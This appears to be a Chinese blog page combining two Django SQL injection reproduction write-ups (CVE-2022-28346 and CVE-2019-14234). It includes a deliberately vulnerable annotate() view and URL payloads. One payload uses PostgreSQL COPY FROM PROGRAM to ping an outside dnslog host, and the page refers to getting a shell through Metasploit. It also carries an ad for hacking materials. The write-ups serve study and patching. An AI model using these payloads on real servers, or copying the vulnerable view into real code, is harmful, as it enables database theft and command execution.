Django SQL注入漏洞分析(CVE-2022-28346)
Posted 蚁景科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Django SQL注入漏洞分析(CVE-2022-28346)相关的知识,希望对你有一定的参考价值。
漏洞简介
Django 在2022年发布的安全更新,修复了在 QuerySet 的 annotate(), aggregate(), extra() 等函数中存在的 SQL 注入漏洞。
影响版本
2.2<= Django Django <2.2.28 3.2<= Django Django <3.2.13 4.0<= Django Django <4.0.4
需要使用了 annotate 或者 aggregate 或 extra 方法
环境搭建
搭建特定版本的 django 项目
利用 pycharm 创建一个 python 项目
创建完成项目后在 Settings 中找到 Project: CVE202228346 对应的 Python Interpreter
添加存在问题的 Django 版本
在 Terminal 中执行命令,创建 django 项目
django-admin startproject CVE202228346
配置启动设置
运行后就启动了最简单的 django 项目
编写配置漏洞代码
折腾来折腾去,出现了很多问题,一度想要放弃说直接采用 docker ,但是在不断的试错下,最终还是编写成功
因为对 python 的 django 不太熟悉,所以其中可能更多的是比较偏向于基础的操作
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
进入到项目目录下创建命令 创建第一个应用
在 settings.py 中添加配置
在 urls.py 中添加 对应的 url,urls.py 相当于路由解析器,将路由解析到对应的 views.py 中对应的函数上
urlpatterns = [
path(\'admin/\', admin.site.urls),
path(\'index/\',views.index),
path(\'demo/\',views.users),
path(\'initialize/\',views.loadexampledata)
]
models.py 是创建表结构的时候使用,通过类的定义,可以创建一个表
from django.db import models
# Create your models here.
class User(models.Model):
name = models.CharField(max_length=200)
def __str__(self):
return self.name
views.py 主要定义了对应路由所响应的函数
from django.db.models import Count
from django.http import HttpResponse
from django.shortcuts import render
from .models import User
# Create your views here.
def index(request):
return HttpResponse(\'hello world\')
def users(request):
field = request.GET.get(\'field\', \'name\')
user_amount = User.objects.annotate(**field: Count("name"))
html = ""
for u in user_amount:
html += "<h3>Amoount of users: 0</h3>".format(u)
return HttpResponse(html)
def loadexampledata(request):
u = User(name="Admin")
u.save()
u = User(name="Staff1")
u.save()
u = User(name="Staff12")
u.save()
return HttpResponse("ok")
三个函数分别是 helloword 函数,往数据库中加参数,以及查询数据库中的字段
编写好代码后,需要对数据库执行初始化操作
python manage.py makemigrations
python manage.py migrate
漏洞复现
先访问 initialize 为数据库中添加信息
构造 payload
http://127.0.0.1:8000/demo/?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
漏洞分析
发现一个问题,在加上断点调试以后,每次运行输出的结果跟不加断点运行的结果存在很大的差异,结果完全不同。不断尝试之后发现是因为在某些地方加上断点之后,在调试器中查看变量和状态可能会影响程序的执行速度和内存使用情况,为了方便的输出某些位置的变量,采用 print 的方法结合断点调试。
通过 get 传入的参数 field
CVE202228346.demo.views.users
此处的**field: Count("name")
用来表示拆分字典
跟进 annotate
对传入参数的处理
django.db.models.query.QuerySet.annotate
继续将参数传入到 _annotate
进行处理
django.db.models.query.QuerySet._annotate
在将 kwargs
的值 update
到 annotations
后,调用 add_annotation
进行处理
django.db.models.sql.query.Query.add_annotation
add_annotation
也是漏洞存在的关键位置,因为修复漏洞的关键位置也在此处
调用 resolve_expression
解析表达式
django.db.models.aggregates.Aggregate.resolve_expression
django.db.models.expressions.Func.resolve_expression
django.db.models.expressions.F.resolve_expression
django.db.models.sql.query.Query.resolve_ref
最后我们可以看到 clone 对应的值 以及执行的 SQL 语句
整个漏洞分析下来,仍然有很多不太清楚的地方,可能再分析几个关于 Django 的漏洞会好一些
漏洞修复
在 add_annotation
添加了 check_alias
来对传入的参数进行校验
更多网安技能的在线实操练习,请点击这里>>
CVE-2019-14234 Django JSONField SQL注入漏洞复现
0x01简介
Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。
什么是JSONField,Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。
相比于Mysql,Postgresql支持的数据类型更加丰富,其对JSON格式数据的支持也让这个关系型数据库拥有了NoSQL的一些特点。
0x02漏洞简介
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。
Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是
WHERE (field->‘[key_name]‘) =‘value‘
,因此可以进行SQL注入。
0x03影响版本
Django 主开发分支
Django 2.2.x < 2.2.4
Django 2.1.x < 2.1.11
Django 1.11.x < 1.11.23
0x04环境搭建
使用vulhub的docker环境搭建
vulhub下载地址:https://github.com/vulhub/vulhub
cd vulhub/django/CVE-2019-14234/
docker-compose up -d
在浏览器访问http://ip:8000出现一下页面说明搭建成功
0x05漏洞利用
通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入
访问http://ip:8000/admin
输入用户名admin ,密码a123123123
然后构造URL进行查询,payload:
http://ip:8000/admin/vuln/collection/?detail__a‘b=123
可以看到上图已经注入成功,并且可以看到构造的SQL语句,继续构造payload
http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20
由于or 1=1永为真,因此应该返回所有结果
我们结合CVE-2019-9193我们尝试进行命令注入,构造url如下
http://192.168.10.195:8000/admin/vuln/collection/?detail__title‘)%3d‘1‘ or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
页面结果虽然报错,但是报错原因是no results to fetch,说明我们的语句已经执行
使用dnslog检测是否可以执行命令
Dnslog网址:http://dnslog.cn/
Payload:
http://192.168.10.195:8000/admin/vuln/collection/?detail__title‘)%3d‘1‘ or 1%3d1 %3bcopy cmd_exec FROM PROGRAM ‘ping k1anij.dnslog.cn
‘--%20
成功检测到流量
复现环境里的postgresql数据库docker没对外的端口映射,如果开了或者真实环境里,还可以结合msf通过CVE-2019-9193来getshell
0x06修复方式
更新到最新版本
免责申明:
本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、***性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。 请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试(重要的事情说三遍),如作他用所承受的法律责任一概与东塔安全学院无关!!!
以上是关于Django SQL注入漏洞分析(CVE-2022-28346)的主要内容,如果未能解决你的问题,请参考以下文章
(CVE-2022-21661)WordPress SQL 注入漏洞分析和复现
Web Based Quiz System SQL注入漏洞复现(CVE-2022-32991)
Web Based Quiz System SQL注入漏洞复现(CVE-2022-32991)
Atom CMS SQL注入漏洞 (CVE-2022-25488)